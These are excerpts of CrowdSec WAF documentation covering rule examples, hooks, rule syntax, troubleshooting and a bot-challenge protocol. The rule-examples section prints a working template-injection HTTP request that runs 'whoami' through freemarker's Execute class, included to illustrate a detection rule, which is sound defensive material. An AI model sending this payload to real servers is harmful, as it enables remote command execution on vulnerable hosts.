- **URL scheme detection** using contains match for "://"
- **Boolean flag inspection** in JSON structures
- **Complex attack vector prevention** through comprehensive validation

## 10. Template Injection in Request Body - POST Data Analysis

### Description

Raw body content analysis with multi-zone matching.

### Rule Example

```yaml
rules:
  - and:
      - zones:
          - RAW_BODY
          - ARGS
        transform:
          - lowercase
        match:
          type: contains
          value: "freemarker.template.utility.execute"
```

### HTTP Request Example

```http
POST /template/aui/text-inline.vm HTTP/1.1
Host: example.com
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded

label=aaa\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.poc[0],{})%2b\u0027&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader(\u0027x_vuln_check\u0027,(new+freemarker.template.utility.Execute()).exec({"whoami"}))
```

### Key Features Demonstrated

- **POST body content analysis** using RAW_BODY zone
- **Template injection detection** through signature-based matching
- **URL-encoded payload handling** in form submissions
- **Multi-zone coverage** examining both args and raw body content

## Hooks Examples

Hooks allow you to customize WAF behavior at different execution phases. This section demonstrates key hook capabilities organized by execution phase.

### Load Phase (on_load)

Load hooks run once when the configuration is loaded, and are typically used to apply global settings.

#### 1. Tune Request Body Size Handling

##### Description

Change the maximum request body size buffered and inspected by the engine, and what happens when a request exceeds it.

##### Hook Example

```yaml
on_load:
  - apply:
      - SetMaxBodySize(20971520) # 20MB
      - SetBodySizeExceededAction("partial")
```

##### Use Case

Allow larger uploads on this configuration while still bounding memory usage, and inspect the first 20MB of oversized bodies instead of dropping the request outright. See [Request body size handling](hooks.md#request-body-size-handling) for the available actions (`drop`, `partial`, `allow`).

### Pre-Evaluation Phase (pre_eval)

Pre-evaluation hooks run before rules are evaluated, allowing you to modify rule behavior dynamically per request.

#### 1. Disable Rules by Name

##### Description

Dynamically disable specific rules before evaluation.

##### Hook Example

```yaml
pre_eval:
  - filter: req.URL.Path == "/admin/upload"
    apply:
      - RemoveInBandRuleByName('some-specific-rule')
```

##### Use Case

Disable existing rules on specific endpoints.

#### 2. Disable Rules by Tag

##### Description

Disable multiple rules sharing the same tag.

##### Hook Example

```yaml
pre_eval:
  - apply:
      - RemoveInBandRuleByTag('some-specific-tag')
```

##### Use Case

Disable all rules with a specific tag.

#### 3. Change Rule Remediation by Name

##### Description

Modify the default remediation for specific rules.

##### Hook Example

```yaml
pre_eval:
  - apply:
      - SetRemediationByName('some-rule', 'allow')
```

##### Use Case

Let requests matching a blocking rule through while still generating alerts, for testing.

#### 4. Disable Rules by ID

##### Description

Disable specific rules using their unique ID during request processing.

##### Hook Example

```yaml
pre_eval:
  - filter: req.Method == "DELETE"
    apply:
      - RemoveInBandRuleByID(123)
```

##### Use Case

Disable a specific rule by its ID for certain endpoints or conditions where the rule may cause false positives.

#### 5. GeoBlocking

##### Description

Block requests originating (or not) from specific countries.

##### Hook Example

This will block any requests not coming from the US or France.

Note the empty value (`""`) in the list and the `?` after the call to `GeoIPEnrich`: this will allow IPs for which crowdsec was not able to get the country (eg, private IPs) and prevent the helper from returning `nil` which would break the evaluation.

```yaml
inband:
  pre_eval:
    - filter: GeoIPEnrich(req.RemoteAddr)?.Country.IsoCode not in ["FR", "US", ""]
      apply:
        - DropRequest("Forbidden Country")
```

If you want to disallow traffic from a specific country:

```yaml
inband:
  pre_eval:
    - filter: GeoIPEnrich(req.RemoteAddr)?.Country.IsoCode == "FR"
      apply:
        - DropRequest("Forbidden Country")
```

##### Use Case

Automatically block traffic from unwanted countries.

#### 6. Disable Body Inspection for Specific Requests

##### Description

Skip request body inspection for the current request, for example on endpoints that legitimately receive large uploads.

##### Hook Example

```yaml
pre_eval:
  - filter: req.URL.Path startsWith "/upload"
    apply:
      - DisableBodyInspection()
```

##### Use Case

Avoid buffering and inspecting large file uploads on trusted endpoints. This also bypasses the [maximum body size check](hooks.md#request-body-size-handling), so requests exceeding the limit are allowed through instead of being dropped.

### Post-Evaluation Phase (post_eval)

Post-evaluation hooks run after rule evaluation is complete, primarily used for debugging and logging.

#### 5. Debug Request Dumping

##### Description

Dump request details to file for debugging.

##### Hook Example

```yaml
inband:
  post_eval:
    - apply:
        - DumpRequest().WithBody().ToJSON()
```

##### Use Case

Capture full request details for forensic analysis or debugging rule behavior.

### On-Match Phase (on_match)

On-match hooks run when a rule matches, allowing you to modify the response behavior.

#### 6. Change HTTP Response Code

##### Description

Modify the HTTP status code returned to users when a rule matches.

##### Hook Example

```yaml
inband:
  on_match:
    - apply:
        - SetReturnCode(413)
```

##### Use Case

Return a 413 "Payload Too Large" instead of the default 403 when a rule triggers.

#### 7. Change Remediation Action

##### Description

Dynamically change the remediation action from the default.

##### Hook Example

```yaml
inband:
  on_match:
    - apply:
        - SetRemediation('captcha')
```

##### Use Case

Show a captcha instead of blocking the request for certain rule matches.

#### 8. Allow Specific IPs

##### Description

Override blocking for trusted IP addresses.

##### Hook Example

```yaml
inband:
  on_match:
    - filter: req.RemoteAddr == "192.168.1.100"
      apply:
        - SetRemediation('allow')
```

##### Use Case

Allow internal/admin IPs to bypass security rules while keeping protection for others.

#### 9. Cancel Alert Generation

##### Description

Prevent alert creation while keeping the request blocked.

##### Hook Example

```yaml
inband:
  on_match:
    - apply:
        - CancelAlert()
```

##### Use Case

Block suspicious requests without generating alerts for known false positives.

#### 10. Force Alert for Out-of-Band Rules

##### Description

Generate alerts for monitoring rules that normally only log.

##### Hook Example

```yaml
outofband:
  on_match:
    - apply:
        - SendAlert()
```

##### Use Case

Create alerts for reconnaissance attempts detected by monitoring rules.

#### 11. Hook Flow Control

##### Description

Control execution of subsequent hooks with break/continue.

`on_success` is only evaluated for hooks that have a `filter`, so a filterless hook never breaks.

##### Hook Example

```yaml
inband:
  on_match:
    - filter: req.URL.Path startsWith "/api/"
      apply:
        - CancelEvent()
      on_success: break
    - apply:
        - SetRemediation('captcha')
```

##### Use Case

Cancel event generation and stop processing further hooks.

### Hook Execution Phases Summary

- **on_load**: Rule loading phase - disable/modify rules permanently
- **pre_eval**: Before rule evaluation - dynamic rule modification per request
- **on_match**: After rule match - modify response behavior
- **post_eval**: After evaluation - debugging and logging

### Summary of WAF Capabilities

These examples demonstrate the comprehensive capabilities of the CrowdSec WAF engine:

- **Zone-based analysis**: Headers, URI, Body, Args, Method inspection
- **Transform operations**: Case normalization, URL decoding, counting
- **Match types**: Exact equals, contains, regex, endsWith patterns
- **JSON processing**: Deep object navigation with dot notation
- **Complex logic**: AND/OR conditions across multiple zones
- **Variable targeting**: Specific parameter and header name filtering
- **Dynamic behavior**: Hooks for runtime customization
- **Security coverage**: XSS, SQLi, SSTI, XXE, RCE, and configuration exposure protection

---

## File: crowdsec-docs/docs/appsec/rules_syntax.md

---
id: rules_syntax
title: "WAF Rules Syntax"
sidebar_label: "Syntax"
sidebar_position: 8
---

## CrowdSec AppSec rules

Rules are the core of the **AppSec Component**. They are used to detect and block attacks.

There are two types of rules:

- **In-band rules** are evaluated synchronously and will block request processing until they are evaluated, allowing real-time remediation.
- **Out-of-band rules** are evaluated asynchronously and do not delay request processing. They do not trigger immediate remediation, but they are useful for expensive evaluations or more complex detection logic (for example, blocking an exploit that spans multiple requests).

**In-band rules** and **out-of-band rules** differ slightly in their **default** behavior when a rule matches:

- When an **in-band rule** matches:
  - an **alert** is created inside CrowdSec, allowing immediate and long-term remediation against the offending IP.
  - Note: No **event** will be generated by default.
- When an **out-of-band rule** matches:
  - An **event** will be generated and sent through the normal **parsers/scenarios pipeline**, allowing the detection of more complex behaviors.
  - Note: No **alert** is generated by this out-of-band rule alone; the **parsers/scenarios pipeline** is responsible for raising **alerts** from processed **events**.

## Rules File Format

The rule files share some common directives with the scenarios:

- a [`name`](#name) and [`description`](#description)
- a [`rules`](#rules) section describing the rule to match the HTTP request
- a [`labels`](#labels) section for metadata (see [labels format](https://docs.crowdsec.net/docs/next/log_processor/scenarios/format/#labels))

```yaml
name: crowdsecurity/example-rule
description: "Detect example pattern"
rules:
  - zones:
      - URI
    transform:
      - lowercase
    match:
      type: contains
      value: this-is-a-appsec-rule-test
labels:
  type: exploit
  service: http
  behavior: "http:exploit"
  confidence: 3
  spoofable: 0
  label: "A good description of the rule"
  classification:
    - cve.CVE-xxxx-xxxxx
    - attack.Txxxx
```

## Rule Structure

### name

> string

Rule identifier (required at the file level). It should be unique and stable because it is used for logging and troubleshooting.

```yaml {1}
name: crowdsecurity/example-rule
description: "Detect example pattern"
rules: []
```

### description

> string

Human-readable summary of what the rule is detecting (optional but recommended).

```yaml {2}
name: crowdsecurity/example-rule
description: "Detect example pattern"
rules: []
```

### labels

> object

Extra metadata used by scenarios and the Hub (optional). The format follows the [labels schema](https://docs.crowdsec.net/docs/next/log_processor/scenarios/format/#labels).

```yaml {4-7}
name: crowdsecurity/example-rule
description: "Detect example pattern"
rules: []
labels:
  type: exploit
  service: http
  behavior: "http:exploit"
```

### rules

> array

List of rule conditions (required). Each condition inspects one or more [zones](#zones) and must include a [match](#match).

For a condition:

- **Mandatory**: [`zones`](#zones) and [`match`](#match).
- **Optional**: [`variables`](#variables), [`transform`](#transform). [`variables`](#variables) restricts matching to specific keys within `ARGS`, `BODY_ARGS`, or `HEADERS`.

At minimum, a condition needs a zone list and a match:

```yaml
- zones:
    - URI
  match:
    type: contains
    value: admin
```

Conditions can be grouped with boolean operators. Use `and` when all nested conditions must match, and `or` when any nested condition can match. If no operator is provided at the rule level, conditions are treated as `or` by default. Each nested item is a full condition with its own [`zones`](#zones) and [`match`](#match).

```yaml
rules:
  - and:
      - zones:
          - METHOD
        match:
          type: regex
          value: (GET|HEAD)
      - zones:
          - URI
        match:
          type: equals
          value: /crowdsec-test-NtktlJHV4TfBSK3wvlhiOBnl
```

See the [appsec-generic-test rule](https://app.crowdsec.net/hub/author/crowdsecurity/waf-rules/appsec-generic-test) for a full example.

### Rule condition fields

The following fields apply to each rule condition inside `rules`.

### zones

> array of strings

Zones specify which parts of the request are inspected. You can have more than one.

- _(mandatory)_ `zones` one or more of:
  - `ARGS`: Query string parameters
  - `ARGS_NAMES`: Name of the query string parameters
  - `BODY_ARGS`: Body args
  - `BODY_ARGS_NAMES`: Name of the body args
  - `COOKIES`: Cookies sent in the request
  - `COOKIES_NAMES`: Names of the cookies sent in the request
  - `FILES`: Uploaded files in the request
  - `FILES_NAMES`: Names of uploaded files in the request
  - `HEADERS`: HTTP headers sent in the request
  - `HEADERS_NAMES`: Name of the HTTP headers sent in the request
  - `METHOD`: HTTP method of the request
  - `PROTOCOL`: HTTP protocol used in the query (HTTP/1.0, HTTP/1.1, ...)
  - `URI`: The URI of the request
  - `URI_FULL`: The full URL of the request including the query string
  - `RAW_BODY`: The entire body of the request
  - `FILENAMES`: The name of the files sent in the request
  - `FILES_TOTAL_SIZE`: Total size of the uploaded files in the request,

Each zone entry is a single string from the list above. There are no per-zone required fields beyond choosing at least one zone for the condition.

```yaml {3-4}
name: crowdsecurity/example-rule
rules:
  - zones:
      - URI
    match:
      type: contains
      value: admin
```

### variables

> array of strings

Optional list of variable names to restrict the [match](#match) to specific keys (only relevant for keyed zones such as `ARGS`, `BODY_ARGS`, `HEADERS` and `COOKIES`).

A variable name can either be a literal key (e.g. `foo`) or a regular expression. To match keys by pattern, wrap the expression between slashes (e.g. `/pattern_.*/`); the enclosed value is evaluated as a [RE2](https://github.com/google/re2/wiki/Syntax) regexp against the available key names.

:::info

The default config `crowdsecurity/base-config` enables specific decoders when the following content-types are set:

- **application/x-www-form-urlencoded**
- **multipart/form-data**
- **application/xml**
- **application/json** : when used, all the variable names are prefixed with `json.`
- **text/xml**

:::

```yaml {5-7}
name: crowdsecurity/example-rule
rules:
  - zones:
      - ARGS
    variables:
      - foo
      - bar
      - '/something[0-9]/'
    match:
      type: contains
      value: admin
```

### match

> object

Match provides the pattern to match the target against. You can combine it with a [`transform`](#transform).

- _(mandatory)_ `match` containing both:
  - _(mandatory)_ `type` indicates the matching method, one of:
    - `regex`: matches _target_ against value (_value_ is a RE2 regexp)
    - `equals`: _target_ is a string equal to _value_
    - `startsWith`: _target_ starts with _value_
    - `endsWith`: _target_ ends with _value_
    - `contains`: _target_ contains value
    - `libinjectionSQL`: _target_ is detected by lib injection SQL
    - `libinjectionXSS`: _target_ is detected by lib injection XSS
    - `gt`: _target_ is greater than _value_
    - `lt`: _target_ is lower than _value_
    - `gte`: _target_ is greater or equal to _value_
    - `lte`: _target_ is lower or equal to _value_

  - _(mandatory)_ `value` a string that is compared to the _target_

```yaml {7-9}
name: crowdsecurity/appsec-generic-test
description: "AppSec Generic Test: trigger on GET /crowdsec-test-NtktlJHV4TfBSK3wvlhiOBnl"
rules:
  - and:
      - zones:
          - METHOD
        match:
          type: regex
          value: (GET|HEAD)
      - zones:
          - URI
        match:
          type: equals
          value: /crowdsec-test-NtktlJHV4TfBSK3wvlhiOBnl
labels:
  service: http
  type: test
```

### transform

> array of strings

Optional operations applied to the target before matching:

- `lowercase`
- `uppercase`
- `length` : transform _target_ to a number representing the string's length
- `count` : number of times the _target_ appears

**Trim:**

- `trim` : remove leading and trailing spaces
- `trim_left` : remove leading spaces
- `trim_right` : remove trailing spaces

**Decoding:**

- `htmlentitydecode` : decode HTML entities
- `js_decode` : decode JavaScript escape sequences
- `css_decode` : decode CSS escape sequences
- `urldecode` : URL decode
- `hexdecode` : hex decode
- `cmdline` : decode common command-line obfuscation techniques

**Base64:**

- `b64decode` : strict base64 decode
- `b64decode_lenient` : lenient base64 decode (no padding required, decodes up to first invalid character, skips whitespaces and dots)
- `b64encode` : base64 encode

**Path normalization:**

- `normalize_path` (or `normalizepath`) : normalize the path (remove double slashes, etc)
- `normalize_path_win` (or `normalizepathwin`) : normalize the path for Windows (handles backslashes)

**Whitespace and nulls:**

- `remove_whitespaces` : remove all whitespace characters
- `compress_whitespaces` : compress multiple whitespace characters into one
- `remove_nulls` : remove null bytes
- `replace_nulls` : replace null bytes with spaces

**Comments:**

- `remove_comments` : remove common comment sequences (e.g. `/* ... */`, `//`, `#`, `--`)
- `replace_comments` : replace comment sequences with a space

```yaml {5-6}
name: crowdsecurity/example-rule
rules:
  - zones:
      - URI
    transform:
      - lowercase
    match:
      type: contains
      value: admin
```

### Seclang Support

In order to support your existing/legacy rules set, CrowdSec's AppSec Component is also able to load rules in the **seclang** format (**ModSecurity** rules).

We recommend using this format only to use existing rules you may have.

**ModSecurity** syntax support is provided by [coraza](https://github.com/corazawaf/coraza/), and the reference documentation is available [here](https://coraza.io/docs/seclang/syntax/).

There are 2 ways to provide CrowdSec with seclang rules:

- Provide rules directly by using the `seclang_rules` parameter in your rule file
- Provide a file containing the rules by using the `seclang_files_rules` parameter in your rule file. The file must be located inside CrowdSec data directory

The default paths for the data directory per OS:

- Linux: `/var/lib/crowdsec/data`
- Freebsd: `/var/db/crowdsec/data`
- Windows: `C:\programdata\crowdsec\data`

> Example

```yaml
name: example/secrules
seclang_rules:
  - SecRule ARGS:ip ";" "t:none,log,deny,msg:'semi colon test',id:2"
seclang_files_rules:
  - my-rule-file.conf
```

:::warning
Your rule **must** have a non-empty `msg` field to properly trigger an Event/Alert
:::

---

## File: crowdsec-docs/docs/appsec/troubleshooting.md

---
id: troubleshooting
title: "WAF Troubleshooting"
sidebar_label: "Troubleshooting"
sidebar_position: 81
---


## Monitoring with `cscli`

`cscli metrics` exposes basic metrics about the AppSec Component:
- Number of requests processed and blocked by the component/data source
- Number of triggers for each rule

```
Appsec Metrics:
╭───────────────────┬───────────┬─────────╮
│   Appsec Engine   │ Processed │ Blocked │
├───────────────────┼───────────┼─────────┤
│ myAppSecComponent │ 1.30k     │ 312     │
╰───────────────────┴───────────┴─────────╯

Appsec 'myAppSecComponent' Rules Metrics:
╭────────────────────────────────────┬───────────╮
│              Rule ID               │ Triggered │
├────────────────────────────────────┼───────────┤
│ crowdsecurity/vpatch-CVE-2017-9841 │ 38        │
│ crowdsecurity/vpatch-env-access    │ 274       │
╰────────────────────────────────────┴───────────╯

```

Prometheus metrics are more detailed, including analysis time for each request and processing time for in-band and out-of-band rule groups.

They are available in the dedicated [Grafana dashboard](/observability/prometheus.md#exploitation-with-prometheus-server--grafana).

You can also inspect an AppSec rule directly with `cscli appsec-rules inspect <rule_name>` to see the amount of requests that were blocked by the rule.

## Enabling Debug in the AppSec Component

Debugging configuration is cascading in the AppSec Component.

Setting `log_level` to `debug` or `trace` in the acquisition config section or the AppSec config will enable debug logging for the whole AppSec Component. You can also set `debug` to `true` directly in an AppSec rule.


When enabling debug at acquisition or AppSec config level:
- Load-time debug is enabled (for example, rule translation to `SecRule` format).
- Runtime debug is enabled for all rules loaded by the AppSec Component/AppSec config.

When enabling debug directly at the AppSec rule level, only runtime evaluation details for that rule are displayed, such as:

```
DEBU[2023-12-06 15:40:26] Evaluating rule                               band=inband name=appseclol rule_id=2145145579 type=appsec uuid=adc5ffc4-6080-432c-af93-7c76c79afc25
DEBU[2023-12-06 15:40:26] Expanding arguments for rule                  band=inband name=appseclol rule_id=2145145579 type=appsec uuid=adc5ffc4-6080-432c-af93-7c76c79afc25 variable=REQUEST_URI
DEBU[2023-12-06 15:40:26] Transforming argument for rule                band=inband name=appseclol rule_id=2145145579 type=appsec uuid=adc5ffc4-6080-432c-af93-7c76c79afc25
DEBU[2023-12-06 15:40:26] Arguments transformed for rule                band=inband name=appseclol rule_id=2145145579 type=appsec uuid=adc5ffc4-6080-432c-af93-7c76c79afc25
DEBU[2023-12-06 15:40:26] Matching rule                                 band=inband key= name=appseclol rule_id=2145145579 type=appsec uuid=adc5ffc4-6080-432c-af93-7c76c79afc25 variable_name=REQUEST_URI
DEBU[2023-12-06 15:40:26] Evaluating operator: MATCH                    arg=/rpc2 band=inband name=appseclol operator_data=/rpc2 operator_function=@endsWith rule_id=2145145579 type=appsec uuid=adc5ffc4-6080-432c-af93-7c76c79afc25
DEBU[2023-12-06 15:40:26] Executing disruptive action for rule          action=deny band=inband name=appseclol rule_id=2145145579 type=appsec uuid=adc5ffc4-6080-432c-af93-7c76c79afc25
DEBU[2023-12-06 15:40:26] Rule matched                                  band=inband name=appseclol rule_id=2145145579 type=appsec uuid=adc5ffc4-6080-432c-af93-7c76c79afc25
DEBU[2023-12-06 15:40:26] Finish evaluating rule                        band=inband name=appseclol rule_id=2145145579 type=appsec uuid=adc5ffc4-6080-432c-af93-7c76c79afc25
```

## Authenticating with the AppSec Component

:::note
We assume the AppSec engine is running on `127.0.0.1:7422`. See the [installation directives](/appsec/quickstart/general.mdx).
:::

> Create a valid API Key

```bash
cscli bouncers add appsec_test -k this_is_a_bad_password
```

> Send a request to the AppSec Component

```bash
curl -I -X POST localhost:7422/ -i -H 'x-crowdsec-appsec-api-key: this_is_a_bad_password' -H 'x-crowdsec-appsec-ip: 192.168.1.1' -H 'x-crowdsec-appsec-uri: /test' -H 'x-crowdsec-appsec-host: test.com' -H 'x-crowdsec-appsec-verb: GET' 
HTTP/1.1 200 OK
Date: Tue, 05 Dec 2023 19:37:56 GMT
Content-Length: 18
Content-Type: text/plain; charset=utf-8
```

If you receive a `200 OK`, you can authenticate to the AppSec Component. If the component is misconfigured or your API key is invalid, you will receive a `401 Unauthorized`:

```bash
curl -I -X POST localhost:7422/ -i  -H 'x-crowdsec-appsec-api-key: meeh' -H 'x-crowdsec-appsec-ip: 192.168.1.1' -H 'x-crowdsec-appsec-uri: /test' -H 'x-crowdsec-appsec-host: test.com' -H 'x-crowdsec-appsec-verb: GET'          
HTTP/1.1 401 Unauthorized
Date: Tue, 05 Dec 2023 19:38:51 GMT
Content-Length: 0

```


## Ensuring your rule(s) are loaded

CrowdSec shows all installed rules at startup (even if they are not used by any active AppSec config).
Seeing a rule here does not mean it will be used by the AppSec Component; it depends on the AppSec config you are using.

```
...
INFO[2023-12-06 14:58:19] Adding crowdsecurity/vpatch-CVE-2023-40044 to appsec rules 
INFO[2023-12-06 14:58:19] Adding crowdsecurity/vpatch-CVE-2023-42793 to appsec rules 
INFO[2023-12-06 14:58:19] loading acquisition file : ...
```

## Testing a given rule

Create a minimal test environment with:
- An acquisition config that loads your test AppSec config
- An AppSec config that loads the test rule
- The test rule itself

> /etc/crowdsec/acquis.d/test_appsec.yaml 
```bash
mkdir -p /etc/crowdsec/acquis.d/
cat > /etc/crowdsec/acquis.d/test_appsec.yaml <<EOF
name: test_appsec
listen_addr: 127.0.0.1:4243
appsec_configs:
 - crowdsecurity/test-appsec
source: appsec
labels:
  type: appsec
EOF
```

> /etc/crowdsec/appsec-config/test_appsec_config.yaml
```bash
mkdir -p /etc/crowdsec/appsec-configs/
cat > /etc/crowdsec/appsec-configs/test_appsec_config.yaml <<EOF
name: crowdsecurity/test-appsec
default_remediation: ban
#log_level: debug
inband_rules:
 - crowdsecurity/test-rule
EOF
```

> /etc/crowdsec/appsec-rules/test-rule.yaml
```bash
mkdir -p /etc/crowdsec/appsec-rules/
cat > /etc/crowdsec/appsec-rules/test-rule.yaml <<EOF
name: crowdsecurity/test-rule
description: "Detect test pattern"
rules:
  - zones:
    - URI
    transform:
    - lowercase
    match:
      type: contains
      value: this-is-a-appsec-rule-test
EOF
```

When starting CrowdSec, you will see the following lines in the logs:

```
time="2023-12-20 13:39:29" level=info msg="loading inband rule crowdsecurity/test-rule" component=appsec_config name=crowdsecurity/test-appsec type=appsec
time="2023-12-20 13:39:29" level=info msg="Loaded 1 inband rules" component=appsec_config name=crowdsecurity/test-appsec type=appsec
time="2023-12-20 13:39:29" level=info msg="Created 1 appsec runners" name=test_appsec type=appsec
time="2023-12-20 13:39:29" level=info msg="Starting processing data"
time="2023-12-20 13:39:29" level=info msg="1 appsec runner to start" name=test_appsec type=appsec
time="2023-12-20 13:39:29" level=info msg="Starting Appsec server on 127.0.0.1:4243/" name=test_appsec type=appsec
time="2023-12-20 13:39:29" level=info msg="Appsec Runner ready to process event" name=test_appsec runner_uuid=846db2c6-4089-487e-a40e-6c778e5e125b type=appsec
```


## Interacting with the AppSec Component

To test that the AppSec Component is working, send requests directly to it. Keep in mind:
- You need a valid remediation component API key
- The AppSec Component expects specific values in headers


This example tests detection for CVE-2023-42793, part of the [virtual patching collection](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching). Make sure the collection is installed (`cscli appsec-rules list`).
[This rule](https://app.crowdsec.net/hub/author/crowdsecurity/waf-rules/vpatch-CVE-2023-42793) detects requests to a URI ending with `/rpc2`:

> cat /etc/crowdsec/appsec-rules/vpatch-CVE-2023-42793.yaml
```yaml
name: crowdsecurity/vpatch-CVE-2023-42793
description: "Detect CVE-2023-42793"
rules:
  - zones:
    - URI
    transform:
    - lowercase
    match:
      type: endsWith
      value: /rpc2
labels:
  type: exploit
  service: http
  confidence: 3
  spoofable: 0
  behavior: "http:exploit"
  label: "JetBrains Teamcity auth bypass (CVE-2023-42793)"
  classification:
   - cve.CVE-2023-42793
   - attack.T1595
   - attack.T1190
   - cwe.CWE-288
```

To communicate with the AppSec Component, create a bouncer API key:

```bash
cscli bouncers add appsec_test -k this_is_a_bad_password
```

You can now query the AppSec Component (assuming the default `127.0.0.1:7422`; see the `listen_addr` setting in your acquisition config):

```bash
▶ curl -X POST localhost:7422/ -i -H 'x-crowdsec-appsec-ip: 192.168.1.1' -H 'x-crowdsec-appsec-uri: /rpc2' -H 'x-crowdsec-appsec-host: google.com' -H 'x-crowdsec-appsec-verb: POST' -H 'x-crowdsec-appsec-api-key: this_is_a_bad_password'
HTTP/1.1 403 Forbidden
Date: Tue, 05 Dec 2023 11:17:51 GMT
Content-Length: 16
Content-Type: text/plain; charset=utf-8

{"action":"ban"}
```

The alert should appear in `crowdsec.log`:

```
...
INFO[2023-12-05 12:17:52] (test) alert : crowdsecurity/vpatch-CVE-2023-42793 by ip 192.168.1.1
...
```

And in `cscli alerts list`:

```
╭────┬────────────────┬─────────────────────────────────────┬─────────┬────┬───────────┬───────────────────────────────╮
│ ID │     value      │               reason                │ country │ as │ decisions │          created_at           │
├────┼────────────────┼─────────────────────────────────────┼─────────┼────┼───────────┼───────────────────────────────┤
│ 1  │ Ip:192.168.1.1 │ crowdsecurity/vpatch-CVE-2023-42793 │         │    │           │ 2023-12-05 11:17:51 +0000 UTC │
╰────┴────────────────┴─────────────────────────────────────┴─────────┴────┴───────────┴───────────────────────────────╯

```

---

## File: crowdsec-docs/docs/appsec/bot_detection/challenge_protocol.md

---
id: challenge_protocol
title: "Bot Detection Challenge Protocol"
sidebar_label: "Challenge protocol"
sidebar_position: 7
---

:::warning
This page is only relevant if you maintain a remediation component and want it to serve bot-detection challenges. To *use* bot detection with an already-compatible bouncer, see [Enable bot detection](enable.md).
:::

Bot detection extends the [WAF / bouncer communication protocol](../protocol.md) with an action next to `allow`, `ban` and `captcha`: **`challenge`**. Where `ban` and `captcha` are verdicts the remediation component renders from its own templates, a `challenge` is a complete HTTP response — status, body, headers and cookies — generated by the AppSec component and relayed to the browser unchanged.

Two properties set it apart from the other remediations:

- **The body is large and generated per request.** The challenge page carries the fingerprinting and proof-of-work JavaScript, so there is no static template to ship. A component whose control channel cannot carry a body that size must serve it over a regular HTTP path instead of trying to squeeze it through.
- **The exchange spans several requests.** The browser fetches assets and posts its proof back to internal URLs that the AppSec component serves itself. The remediation component must forward those to the AppSec component rather than to the origin.

## The `challenge` action

When the AppSec component decides to challenge a request, it answers the remediation component with HTTP `403` — the usual blocked status from the [base protocol](../protocol.md#response-code) — and a JSON envelope:

```json
{
  "action": "challenge",
  "http_status": 200,
  "user_body_content": "<!DOCTYPE html>...",
  "user_headers": {
    "Content-Type": ["text/html; charset=utf-8"],
    "Cache-Control": ["no-cache, no-store"],
    "Content-Security-Policy": ["default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; worker-src 'self' blob:;"]
  },
  "user_cookies": [
    "__crowdsec_challenge=...; Path=/; HttpOnly; SameSite=Lax"
  ]
}
```

| Field | Meaning |
|---|---|
| `action` | Always `challenge` here. A `403` carrying any other action is that other remediation. |
| `http_status` | The status code to return **to the browser** — not the `403` the remediation component received. Defaults to `200` if absent or zero. |
| `user_body_content` | The body to write to the browser: the challenge HTML, a JavaScript asset, or a small JSON status document. |
| `user_headers` | Response headers to set on the browser response, **replacing** any header of the same name the component or the origin would otherwise send. A `Content-Security-Policy` is always present — the AppSec component sets a fixed permissive policy, because the challenge needs inline script and blob workers to run. |
| `user_cookies` | Ready-to-send `Set-Cookie` values. Each entry is one header. |

:::note
`http_status` is not always `200`. [`GrantChallengeCookie()`](hooks.md) answers with `307` plus a `Location` header in `user_headers`, so a remediation component that hardcodes `200` breaks the allowlist-bypass flow. Honour whatever `http_status` says.
:::

For a component that can write the response inline, that is the whole integration: take the four fields and write them to the client. The nginx and OpenResty bouncers, for instance, apply the status, add every header, add each cookie as its own `Set-Cookie`, print the body, and stop the request there.

## Internal challenge endpoints

The challenge runtime serves a handful of URLs itself. The remediation component **must forward them to the AppSec component unmodified**, and must never pass them to the protected origin:

| Path | Method | Purpose |
|---|---|---|
| `/crowdsec-internal/challenge/fpscanner.js` | `GET` | The fingerprinting bundle. |
| `/crowdsec-internal/challenge/pow-worker.js` | `GET` | The proof-of-work worker. |
| `/crowdsec-internal/challenge/submit` | `POST` | Proof-of-work result and encrypted fingerprint. |

All three come back in exactly the same envelope as the challenge page: HTTP `403` to the remediation component, `action: challenge`, `http_status: 200`. This is true **even when the submission succeeds** — a solved challenge is not an `allow`, it is a `challenge` envelope whose `user_cookies` carries the sealed success cookie, with one of these bodies:

| Body | Meaning |
|---|---|
| `{"status":"ok"}` | Proof accepted. `user_cookies` carries `__crowdsec_challenge`. |
| `{"status":"failed"}` | Proof invalid (bad PoW, bad ticket, bad HMAC, expired epoch). No cookie. |
| `{"status":"rejected"}` | Proof valid, but an `on_challenge_submit` hook called [`RejectSubmission()`](hooks.md). No cookie. |

A remediation component that drops `Set-Cookie` on the submit response leaves the browser with nothing to replay, and the visitor is challenged forever. Two related requirements:

- The `POST` body of a submit request must be forwarded to the AppSec component, so this request is relayed as a `POST` per the [base protocol](../protocol.md).
- Subsequent requests must keep carrying the browser's `Cookie` header through to the AppSec component — that is how a solved challenge is recognised and answered with `allow`.

The remediation component never parses, validates or mints challenge cookies. They are sealed by the AppSec component under the [master secret](configuration.md#key-management) and are opaque to everything else.

## Requirements for a remediation component

- Forward `/crowdsec-internal/challenge/*` to the AppSec component, unmodified, and never to the origin.
- Return `http_status` to the browser, not the `403` received from the AppSec component.
- Set every `user_headers` entry, **replacing** any header of the same name already set on the response, and emit each `user_cookies` entry as a **separate** `Set-Cookie` header — never joined with commas.
  `Content-Security-Policy` is the one that matters most here: browsers enforce every policy they receive, so a site-wide CSP left next to the challenge's blocks the challenge page's inline script and blob worker. Operators must also make sure their web server does not add its own next to it — see [Content-Security-Policy](enable.md#content-security-policy).
- Forward the request body on `POST` submissions.
- Send the real client IP in `X-Crowdsec-Appsec-Ip` on *every* request, challenge assets and submissions included. The AppSec component uses it as the client IP for Coraza, allowlists, country rules and the `client_ip` of every event it emits, so a proxy address here silently attributes all challenge traffic to your own infrastructure.
- Fail closed: if the challenge cannot be served, treat the request as `ban`.
- Treat `challenge` as more restrictive than `captcha` and less restrictive than `ban`, when picking the most restrictive of several remediations:

  ```text
  allow < unknown < captcha < challenge < ban
  ```

- Only an AppSec-issued `challenge` can be served. A `challenge` decision arriving from a blocklist or from the LAPI carries no body, headers or cookies, so there is nothing to render — fail it closed to `ban`.

### Failure behaviour

| AppSec response | Remediation component behaviour |
|---|---|
| `200` | Allow the request. |
| `403`, `action: challenge`, non-empty `user_body_content` | Serve the challenge response. |
| `403`, `action: challenge`, empty `user_body_content` | Fail closed — `ban`. |
